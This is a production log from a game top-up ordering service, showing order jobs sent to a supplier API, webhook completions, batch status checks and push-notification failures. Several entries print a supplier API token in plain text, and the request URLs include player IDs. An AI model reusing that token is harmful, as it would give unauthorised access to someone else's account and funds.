[2026-03-24 17:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"user_id":587,"notification_type":"order_approved","reference_id":178965} 
[2026-03-24 17:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"user_id":587,"notification_type":"order_approved","reference_id":178966} 
[2026-03-24 17:02:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"chunk_number":1,"processed":6,"errors":0,"total_operations":6,"total_orders":6,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:02:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"total_processed":6,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:02:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"processed":6,"errors":0} 
[2026-03-24 17:02:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"processed":6,"errors":0} 
[2026-03-24 17:02:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873} 
[2026-03-24 17:02:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1019  
[2026-03-24 17:02:04] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 17:02:05] production.INFO: Constructing job for order: 178972  
[2026-03-24 17:02:06] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 17:02:08] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 17:02:10] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 17:02:11] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 17:02:13] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 17:02:13] production.INFO: Handling job for order: 178972  
[2026-03-24 17:02:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:02:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:02:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=3f7c10a5-94d2-470f-b94d-8e480341ed26&Player_ID=11200494  
[2026-03-24 17:02:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=3f7c10a5-94d2-470f-b94d-8e480341ed26&Player_ID=11200494","has_body":false} 
[2026-03-24 17:02:14] production.INFO: Operation sent successfully {"operation_id":163879,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lmfh5-1774360934","amount":2.060006759999999825794247954036109149456024169921875,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 17:02:14"}},"processed_data":{"order_number":"ORD-lmfh5-1774360934","amount":2.060006759999999825794247954036109149456024169921875,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 17:02:15] production.INFO: Constructing job for order: 178973  
[2026-03-24 17:02:17] production.INFO: Handling job for order: 178973  
[2026-03-24 17:02:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:02:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:02:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=f1531659-697d-49c2-ba59-92c019a8ff7f&Player_ID=14076377332  
[2026-03-24 17:02:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=f1531659-697d-49c2-ba59-92c019a8ff7f&Player_ID=14076377332","has_body":false} 
[2026-03-24 17:02:18] production.INFO: Operation sent successfully {"operation_id":163880,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ZpFzZO-1774360938","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 17:02:18"}},"processed_data":{"order_number":"ORD-ZpFzZO-1774360938","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 17:02:33] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ZpFzZO-1774360938","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:02:33] production.INFO: Processed webhook data (normalized) {"id":"ORD-ZpFzZO-1774360938","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:02:33] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:02:33] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_approved","reference_id":178973} 
[2026-03-24 17:02:33] production.INFO: Order updated successfully. Order ID: 178973, Status: completed  
[2026-03-24 17:02:33] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ZpFzZO-1774360938","status":"completed","codes_count":0} 
[2026-03-24 17:02:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 17:03:16] production.INFO: Constructing job for order: 178974  
[2026-03-24 17:03:18] production.INFO: Handling job for order: 178974  
[2026-03-24 17:03:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:03:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:03:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/772/params?qty=10000&uuid=d8e308a7-d817-4cf9-aec2-0adf9fe1175a&Player_ID=101763082  
[2026-03-24 17:03:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/772/params?qty=10000&uuid=d8e308a7-d817-4cf9-aec2-0adf9fe1175a&Player_ID=101763082","has_body":false} 
[2026-03-24 17:03:19] production.INFO: Operation sent successfully {"operation_id":163881,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-oTh-1774360998","amount":1.0462819999999999343032186516211368143558502197265625,"status":"processing","product":"Habi","game":"Habi","notes":[],"created_at":"2026-03-24 17:03:19"}},"processed_data":{"order_number":"ORD-oTh-1774360998","amount":1.0462819999999999343032186516211368143558502197265625,"status":"processing","product":"Habi","game":"Habi"}} 
[2026-03-24 17:03:21] production.INFO: Constructing job for order: 178975  
[2026-03-24 17:03:22] production.INFO: Handling job for order: 178975  
[2026-03-24 17:03:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:03:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:03:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=c2862052-81a8-47f3-adbf-9b881ebca434&Player_ID=14076377332  
[2026-03-24 17:03:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=c2862052-81a8-47f3-adbf-9b881ebca434&Player_ID=14076377332","has_body":false} 
[2026-03-24 17:03:23] production.INFO: Operation sent successfully {"operation_id":163882,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-WIH4Ym-1774361002","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 17:03:23"}},"processed_data":{"order_number":"ORD-WIH4Ym-1774361002","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 17:03:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-WIH4Ym-1774361002","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:03:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-WIH4Ym-1774361002","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:03:45] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:03:45] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_approved","reference_id":178975} 
[2026-03-24 17:03:45] production.INFO: Order updated successfully. Order ID: 178975, Status: completed  
[2026-03-24 17:03:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-WIH4Ym-1774361002","status":"completed","codes_count":0} 
[2026-03-24 17:03:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 17:03:50] production.INFO: Constructing job for order: 178976  
[2026-03-24 17:03:53] production.INFO: Handling job for order: 178976  
[2026-03-24 17:03:53] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:03:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:03:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=333e0d65-7be5-4ba1-8a78-884653673ec8&Player_ID=51761915208  
[2026-03-24 17:03:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=333e0d65-7be5-4ba1-8a78-884653673ec8&Player_ID=51761915208","has_body":false} 
[2026-03-24 17:03:54] production.INFO: Operation sent successfully {"operation_id":163883,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-4xM-1774361034","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:03:54"}},"processed_data":{"order_number":"ORD-4xM-1774361034","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:04:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03"} 
[2026-03-24 17:04:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","total_operations":5,"sites_count":1} 
[2026-03-24 17:04:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-vaAee9-1774358736","ORD-j5G7ZL-1774360319","ORD-lmfh5-1774360934","ORD-oTh-1774360998","ORD-4xM-1774361034"]} 
[2026-03-24 17:04:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:04:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 17:04:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4xM-1774361034","operation_id":163883} 
[2026-03-24 17:04:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:04:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oTh-1774360998","operation_id":163881} 
[2026-03-24 17:04:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 17:04:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":1,"skipped":4,"updates_prepared":1} 
[2026-03-24 17:04:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 17:04:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"count":1} 
[2026-03-24 17:04:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"count":1} 
[2026-03-24 17:04:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"user_id":949,"notification_type":"order_approved","reference_id":178972} 
[2026-03-24 17:04:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:04:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:04:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":1,"errors":0} 
[2026-03-24 17:04:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":1,"errors":0} 
[2026-03-24 17:04:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"kYMkGQeOcc7jM9DQBwyOO4m42bJzkhyv","execution_time":"2026-03-24 17:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 17:04:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 17:04:19] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-4xM-1774361034","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:04:19] production.INFO: Processed webhook data (normalized) {"id":"ORD-4xM-1774361034","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:04:19] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:04:19] production.INFO: SendAcceptReject: Notification queued {"user_id":14,"notification_type":"order_approved","reference_id":178976} 
[2026-03-24 17:04:19] production.INFO: Order updated successfully. Order ID: 178976, Status: completed  
[2026-03-24 17:04:19] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-4xM-1774361034","status":"completed","codes_count":0} 
[2026-03-24 17:04:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 14  
[2026-03-24 17:04:28] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vaAee9-1774358736","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 17:04:28] production.INFO: Processed webhook data (normalized) {"id":"ORD-vaAee9-1774358736","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 17:04:28] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 17:04:28] production.INFO: SendAcceptReject: Notification queued {"user_id":529,"notification_type":"order_rejected","reference_id":178899} 
[2026-03-24 17:04:28] production.INFO: Order updated successfully. Order ID: 178899, Status: rejected  
[2026-03-24 17:04:28] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vaAee9-1774358736","status":"rejected","codes_count":0} 
[2026-03-24 17:04:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 529  
[2026-03-24 17:04:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 529  
[2026-03-24 17:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 17:05:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 17:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 17:05:03] production.INFO: async() رجع: true  
[2026-03-24 17:05:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 17:05:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 17:05:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 17:05:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 17:05:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 17:05:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 17:05:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 17:05:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 17:05:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 17:05:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 17:05:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 17:05:37] production.INFO: Constructing job for order: 178977  
[2026-03-24 17:05:40] production.INFO: Handling job for order: 178977  
[2026-03-24 17:05:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:05:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:05:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=18bd6554-7e89-492b-9eb8-d71a36ea9f2d&Player_ID=52263897303  
[2026-03-24 17:05:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=18bd6554-7e89-492b-9eb8-d71a36ea9f2d&Player_ID=52263897303","has_body":false} 
[2026-03-24 17:05:41] production.INFO: Operation sent successfully {"operation_id":163884,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Pdeph1-1774361141","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:05:41"}},"processed_data":{"order_number":"ORD-Pdeph1-1774361141","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:05:44] production.INFO: Constructing job for order: 178978  
[2026-03-24 17:05:47] production.INFO: Handling job for order: 178978  
[2026-03-24 17:05:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:05:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:05:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/584/params?qty=1000&uuid=53b8a858-66ca-41ec-9d5c-6c67072cf793&Player_ID=110192261  
[2026-03-24 17:05:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/584/params?qty=1000&uuid=53b8a858-66ca-41ec-9d5c-6c67072cf793&Player_ID=110192261","has_body":false} 
[2026-03-24 17:05:48] production.INFO: Operation sent successfully {"operation_id":163885,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-DQiB-1774361148","amount":1.683657399999999970674480209709145128726959228515625,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan","notes":[],"created_at":"2026-03-24 17:05:48"}},"processed_data":{"order_number":"ORD-DQiB-1774361148","amount":1.683657399999999970674480209709145128726959228515625,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan"}} 
[2026-03-24 17:05:55] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Pdeph1-1774361141","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:05:55] production.INFO: Processed webhook data (normalized) {"id":"ORD-Pdeph1-1774361141","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:05:55] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:05:55] production.INFO: SendAcceptReject: Notification queued {"user_id":24,"notification_type":"order_approved","reference_id":178977} 
[2026-03-24 17:05:55] production.INFO: Order updated successfully. Order ID: 178977, Status: completed  
[2026-03-24 17:05:55] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Pdeph1-1774361141","status":"completed","codes_count":0} 
[2026-03-24 17:05:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 24  
[2026-03-24 17:06:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03"} 
[2026-03-24 17:06:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","total_operations":3,"sites_count":1} 
[2026-03-24 17:06:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-j5G7ZL-1774360319","ORD-oTh-1774360998","ORD-DQiB-1774361148"]} 
[2026-03-24 17:06:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:06:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 17:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DQiB-1774361148","operation_id":163885} 
[2026-03-24 17:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:06:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oTh-1774360998","operation_id":163881,"processed":1,"skipped":2,"updates_prepared":1} 
[2026-03-24 17:06:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oTh-1774360998","operation_id":163881,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 17:06:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oTh-1774360998","operation_id":163881,"count":1} 
[2026-03-24 17:06:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oTh-1774360998","operation_id":163881,"count":1} 
[2026-03-24 17:06:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oTh-1774360998","operation_id":163881,"user_id":1488,"notification_type":"order_approved","reference_id":178974} 
[2026-03-24 17:06:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oTh-1774360998","operation_id":163881,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:06:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oTh-1774360998","operation_id":163881,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:06:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oTh-1774360998","operation_id":163881,"processed":1,"errors":0} 
[2026-03-24 17:06:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qjQi4V1RCg2Dw5ge2Mjl8ufYyR7umoW6","execution_time":"2026-03-24 17:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oTh-1774360998","operation_id":163881,"processed":1,"errors":0} 
